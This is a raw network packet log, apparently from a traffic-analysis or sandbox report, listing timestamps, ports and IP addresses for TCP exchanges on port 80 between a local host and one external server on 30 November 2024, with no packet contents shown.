Nov 30, 2024 05:00:17.835798025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.836589098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.836693048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.836735964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.837521076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.837639093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.837682962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.838479042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.838603020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.838675976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.839418888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.839540005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.839621067 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.840357065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.869086027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.869142056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.869168043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.869529009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.869574070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.869635105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.870449066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.870501995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.870534897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.871397972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.871443033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.871496916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.872358084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.872401953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.872445107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.873282909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.873317003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.873400927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.874237061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.874295950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.874314070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.914776087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.998382092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.998503923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.998579979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.998864889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.998985052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.999027014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:17.999799013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:17.999964952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.000017881 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.000787020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.000883102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.000924110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.001703024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.001818895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.001866102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.002650023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.002805948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.002877951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.003611088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.003725052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.003906012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.004549026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.004659891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.004707098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.005515099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.005752087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.005820036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.006458044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.006567955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.006660938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.007409096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.007610083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.007652998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.008374929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.008500099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.008588076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.009295940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.009365082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.009418011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.010253906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.010376930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.010457039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.011219978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.011349916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.011425018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.012166977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.012269020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.012321949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.013117075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.013211966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.013289928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.014060974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.014148951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.014184952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.015008926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.015121937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.015160084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.015949965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.016078949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.016172886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.016896009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.016993046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.017036915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.017837048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.017940044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.018037081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.018779993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.018898964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.018970966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.019730091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.019844055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.019890070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.020699978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.020767927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.020814896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.021652937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.021783113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.021816969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.022589922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.022701979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.022737026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.023529053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.023644924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.023679972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.024497986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.024640083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.024699926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.025440931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.025556087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.025614023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.026386976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.026509047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.026556969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.027338028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.027451992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.027508974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.028301954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.028395891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.028460026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.029228926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.029337883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.029411077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.030179024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.030296087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.030363083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.031127930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.031258106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.031330109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.032113075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.032198906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.032249928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.033041954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.033107042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.033173084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.033988953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.034109116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.034167051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.034939051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.035046101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.035084963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.035885096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.035980940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.036035061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.036839962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.036936045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.036979914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.037790060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.037894964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.037929058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.038714886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.038836956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.038899899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.039669991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.039784908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.039845943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.040628910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.040740013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.040795088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.041563034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.070326090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.070389032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.070427895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.070749998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.070828915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.070908070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.071717024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.071808100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.071810961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.072660923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.072706938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.072745085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.073611975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.073662996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.073698997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.074538946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.074642897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.074662924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.075499058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.075545073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.075575113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.117907047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.199630976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.199692011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.199779034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.200108051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.200229883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.200315952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.201066017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.201184034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.201266050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.201992035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.202119112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.202171087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.202989101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.203140020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.203218937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.203923941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.204108953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.204163074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.204874992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.204968929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.205035925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.205806017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.205955029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.206026077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.206773043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.206902027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.206979036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.207707882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.207843065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.207920074 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.208657980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.208764076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.208818913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.209604025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.209803104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.209861040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.210573912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.210725069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.210793972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.211505890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.211635113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.211702108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.212460041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.212569952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.212618113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.213413954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.213502884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.213555098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.214373112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.214493990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.214557886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.215295076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.215404987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.215455055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.216257095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.216370106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.216454029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.217195988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.217305899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.217369080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.218149900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.218245983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.218307018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.219101906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.219230890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.219327927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.220063925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.220259905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.220316887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.221000910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.221138000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.221210003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.221954107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.222068071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.222150087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.222901106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.223002911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.223062038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.223875999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.224173069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.224225044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.224792004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.224992990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.225040913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.225756884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.225871086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.225924969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.226691961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.226799011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.226869106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.227632999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.227757931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.227827072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.228590965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.228684902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.228737116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.229527950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.229645967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.229790926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.230479002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.230602980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.230657101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.231447935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.231549025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.231602907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.232384920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.232485056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.232588053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.233328104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.233438015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.233500957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.234282017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.234405994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.234474897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.235240936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.235347033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.235394955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.236202002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.236304045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.236432076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.237143993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.237250090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.237313032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.238080025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.238181114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.238257885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.239037991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.239140034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.239219904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.239973068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.240080118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.240139008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.240926027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.241122961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.241187096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.241903067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.242136955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.242197990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.242816925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.289818048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:18.290425062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.290546894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:18.290708065 CET	49732	80	192.168.2.4	141.8.197.146
